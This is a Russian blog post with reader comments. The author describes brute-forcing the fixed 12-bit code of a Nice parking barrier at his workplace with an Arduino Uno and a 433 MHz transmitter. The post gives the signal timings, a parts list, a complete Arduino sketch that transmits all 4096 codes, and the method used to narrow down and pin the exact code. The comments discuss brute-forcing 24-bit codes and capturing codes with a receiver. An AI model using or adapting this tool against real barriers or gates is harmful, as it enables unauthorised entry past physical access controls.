[Из песочницы] Управление шлагбаумом с помощью Arduino UNO и радиопередатчика 433 МГц

Всем привет! У меня на работе есть автомобильная парковка. Конечно, цель данной статьи не хвастовство, учитывая тяжелую ситуацию на дорогах с парковочными местами, и не пиар моего руководства о том, что они заботятся о своих сотрудниках (не буду даже упоминать о месте свой работы!), дело совершено не в этом. Суть в том, что мешает любому другому человеку, не имеющему отношения к месту моей работы, припарковаться на этой парковке? А это шлагбаум, ограничивающий въезд и выезд с этой парковки.

И как во многих организациях, вход на мое предприятие осуществляется по обыкновенным пропускам, дабы контролировать меня и всех остальных. Ну и въезд на парковку сделали также, по этим же пропускам. То есть подъезжаешь к парковке, подносишь пропуск к считывателю, он срабатывает, шлагбаум открывается (закрывается автоматически), заезжаешь и все. Так думали они. Но мое увлечение электроникой и природная лень (это ведь каждый раз подъезжать, открывать окно, вытаскивать руку, закрывать окно, а если дождь, а если холодно) пошли против системы.

Итак, ближе к делу. Прежде всего, узнал, что шлагбаум оказался довольно-таки популярной фирмы Nice и начал искать о нем информацию. Однако, несмотря на популярность фирмы производителя, информации о его форматах кодов было очень мало. Выяснилось, что существуют 12-битные и 24-битные форматы кодов. 12-битные более древние, 24-битные — посовременней. Так как я знаю, что шлагбаум на работе стоит давно, решил начать с 12-битных кодов (впоследствии угадал). И так пакет данных состоит из 12 бит. Перед 12-битным кодом идет, так называемый, «пилотный период» и «стартовый импульс». «Пилотный период» состоит из 36 интервалов низкого уровня, «стартовый импульс» состоит из 1 интервала высокого уровня. Один пакет данных состоит из «пилотного периода», за ним «стартовый импульс» и за ним 12-битный код (для каждого шлагбаума свой). Пульты шлагбаумов передают сразу по 4 пакета данных, но я поставил больше, так как очень много устройств работают на данной частоте (в частности автомобильные сигнализации) и возможны помехи. Длительности импульсов для шлагбаумов Nice:

  • Логическая »1» — 1400 мкс низкого уровня (два интервала) и 700 мкс высокого (один интервал)
  • Логический »0» — это 700 мкс низкого уровня (один интервал) и 1400 мкс высокого (один интервал)
  • «Пилотный период» — 25200 мкс (36 интервалов)
  • «Стартовый импульс» — 700 мкс (1 интервал)

Так как пультов от этого шлагбаума ни у меня и ни у кого нет (в таком бы случаем просто можно было считать сигнал с действующего пульта), то угадывать истинный код придется методом перебора всех возможных вариантов, а 4096.

С помощью чего, вообще, все это можно реализовать? Недавнее мое увлечение платформами Arduino, не дали мне долго размышлять над этим вопросом.

Список компонентов:

1. Arduino Uno,

c2ec7a09e0704b25aadcd80cb8472205.jpg

2. Радиопередатчик 433Мгц, самодельная антенна к нему,

1ef42240f9da4a92b7c48f5fffd9c8cd.jpg

3. Батарейка 9 вольт, в народе «Крона».

db567a28f65547939aae58c9f958f20f.jpg

Данные радиопередатчики в известных китайских магазинах продаются очень дешево (порядка 50 руб.), совместно с радиоприемниками. Они очень простые, три контакта: питание, земля и сигнальный контакт. Питания от 5 до 12 вольт, чем выше напряжение питания, тем лучше дальнобойность. Собственно по этой причине была выбрана 9 вольтовая батарейка. Рекомендованное напряжения питания Arduino Uno от 7 до 12 вольт (контакт Vin), так что «Крона» вполне подходит. Также дальнобойность радиопередатчика зависит от наличия антенны (без нее дальность будет около 1 метра). Весь комплект обошелся порядка 300 руб.

Вот, собственно, и сам скетч для Arduino Uno:

int send_code_pin = 13;
//int send_code = 3061; это код определенный методом перебора для моего шлагбаума
 
void setup()
{
  pinMode(send_code_pin, OUTPUT);
}

void loop ()
{
  for (int send_code = 0; send_code < 4096; send_code++) // этот цикл после того как код определен необходимо убрать
  {
    for (int j = 0; j <7; j++) // достаточно 4-х, но из-за помех поставил 7
    {
      digitalWrite(send_code_pin, HIGH); // стартовый импульс
      delayMicroseconds(700);
      digitalWrite(send_code_pin, LOW);
      for (int i = 12; i > 0; i--)
      {
        boolean bit_code = bitRead(send_code, i - 1);
        if (bit_code)
        {
          digitalWrite(send_code_pin, LOW); // единица
          delayMicroseconds(1400);
          digitalWrite(send_code_pin, HIGH);
          delayMicroseconds(700);
        }
        else
        {
          digitalWrite(send_code_pin, LOW); // ноль
          delayMicroseconds(700);
          digitalWrite(send_code_pin, HIGH);
          delayMicroseconds(1400);
        }
      }
      digitalWrite(send_code_pin, LOW); // пилотный период
      delayMicroseconds(25200);
    }
  }
  //delay(10000); после определения кода поставить задержку
}

Перебор всех возможных вариантов занял около 1 недели, с учетом одного выхода в день к шлагбауму. Методика быстрого выбора правильного кода была очень простой. С помощью команды micros () определил время передачи одного кода. Он составил примерно 0,25 сек. Общее перебора всех вариантов около 17 мин. Перед шлагбаумом запустил Arduino и засек время. Где-то на 12,5 минуте открылся шлагбаум. Исходя из этого, я отбросил сразу первые 2800 вариантов. И так далее. Когда вариантов осталось около 30, после каждой передачи данных ставил задержку в 1 секунду. Так как контакт передачи данных я установил 13-ым (со светодиодом), было видно каждый момент передачи, подсчитал и определил точный код.

Вот и все! В качестве демо — видео вскрытия:


Спасибо за внимание!

Комментарии (8)

  • 5 октября 2016 в 18:59 (комментарий был изменён)

    0

    К слову, в 24-битном варианте при 0,25 сек на один код он сбрутится через 48 дней
    • 5 октября 2016 в 21:48

      0

      Можно сделать хитрость, и попытатся перехватить код. Только надо тогда собирать еще и приемник.
      Может быть автор соберет и этот вариант? :)
      • 5 октября 2016 в 21:48

        0

        Как раз появилась в этом надобность сегодня, буду пытаться))
  • 5 октября 2016 в 21:23

    0

    Не быстрее ли подслушать код?

    • 5 октября 2016 в 21:28

      0

      Так как пультов от этого шлагбаума ни у меня и ни у кого нет (в таком бы случаем просто можно было считать сигнал с действующего пульта), то…
  • 5 октября 2016 в 21:27

    0

    В смысле никакого KeeLoq? Никакого обучения брелкам? Никаких проверок валидности последовательности? Просто подал какую-то последовательность бит и все?
    • 5 октября 2016 в 21:53

      0

      Да, просто последовательность. На работе говорят, он уже больше 10 лет тут стоит, видимо древний.
  • 5 октября 2016 в 23:06

    0

    «помигать лампочкой» можно смело заменить на «помахать шлагбаумом»

© Habrahabr.ru